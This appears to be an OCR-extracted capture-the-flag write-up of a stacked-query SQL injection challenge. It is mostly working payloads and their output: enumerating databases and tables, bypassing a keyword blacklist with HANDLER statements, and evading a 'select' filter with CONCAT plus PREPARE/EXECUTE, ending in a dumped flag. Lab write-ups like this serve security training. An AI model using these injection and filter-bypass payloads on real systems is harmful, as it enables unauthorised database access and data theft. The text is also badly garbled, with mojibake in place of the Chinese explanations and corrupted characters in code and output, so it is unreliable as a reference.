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array(2) {

[0]=>

string(l) "1"

[11=>

string(7) "hahahah"
}
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24 1" order by 3# |

rrrrr 1054 : Unknown column '3' in 'order clause'
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return preg match("/select|update|delete|drop|insert|where|\./i",$inject);
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?inject=1"';show databases;#
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array(l) {

(o1=>

string(ll) "ctftraining"
}

array(l) {
[0]=>
string(18) "information_schema"

}

array(l) {

(0]=>

string(5) "mysgl"
}

array(l) {
[0]=>
string(18) "performance_schema"

}

array(l) {
[0]=>
string(9) "supersqli"

}

array(l) {

o1=>

string(4) "test"
}
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?inject=1";show tables;#
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array(l) {

[0]=>

string(16) "1919810931114514"
}

array(l) {
[0]=>
string(5) "words"

}
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?inject=1";show columns from "1919810931114514 ;#
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B2 |1°1919810931114514 #] | 1B3x

array(6) {
[0]=>
string(4) "flag"
[1]1=>
string(l2) "wvarchar(100)"
[2]=>
string(2) "NO"
[31=>
string(0) "'
[4]=>
NULL
[5]1=>
string(0) "'
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it FTH—PNFEH thl_name HIFEHIAIHG
HANDLER tbl name OPEN [ [AS] alias]

# 1. BLIEEFTIBER, AJLUEENETB—ITHLE, EL NEXT 4 y
HANDLER tbl _name READ index_name { } (valuel,value2,...)
[ WHERE where condition ] [LIMIT ...

KT —1T

- —1T

HRR)G—1T (FFRAHI—17)

tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
[ WHERE where_condition ] [LIMIT ...

i+ READ FIRST: FKERAIRGHIHE—1T
# READ NEXT: ARIREMAT (L5 A] LLFE KR A1 J5 B R —1T)
v R 5 AHAT READ NEXT 251K [6]— 55945 E
HANDLER tbl name READ { FIRST | NEXT }
[ WHERE where_condition ] [LIMIT ...

# SN C T IR EIRT
HANDLER tbl_name CLOSE

payload

1';handler "1919810931114514° open;handler "1919810931114514° read first;#
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array(l) {

[0]1=>

string(42) "flag{ellb8£f2b-b333-4b78-acd3-5b0c810640£7}"
}
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SET; # HITREZEENE
PREPARE stmt_name FROM preparable_stmt; # fHTFHi#&—1NiEAa, HILTFE#, Ll L5 H 5

EXECUTE stmt_name; # HATi5 4]
{DEALLOCATE | DROP} PREPARE stmt_name; # MK/ TILFEHTiE#]

payload

1';
set @sql=CONCAT('sel','ect * from ~1919810931114514 ;');

prepare stmt from @sql;

execute stmt;
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B, |’rom @sql; execute stmt;l BR

strstr($inject, "set") && strstr($inject, "prepare")

setfllpreparefid €, Bid K5 5 strstrif

1';
SET @sql=CONCAT('sel','ect * from "1919810931114514°;"');

PREPARE stmt from @sql;
execute stmt;
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—ﬁﬁ |"rom @sql; execute stmt;| B

array(l) {

[01=>

string(42) "flag{ellb8f2b-b333-4b78-acd3-5b0c810640£7}"
}
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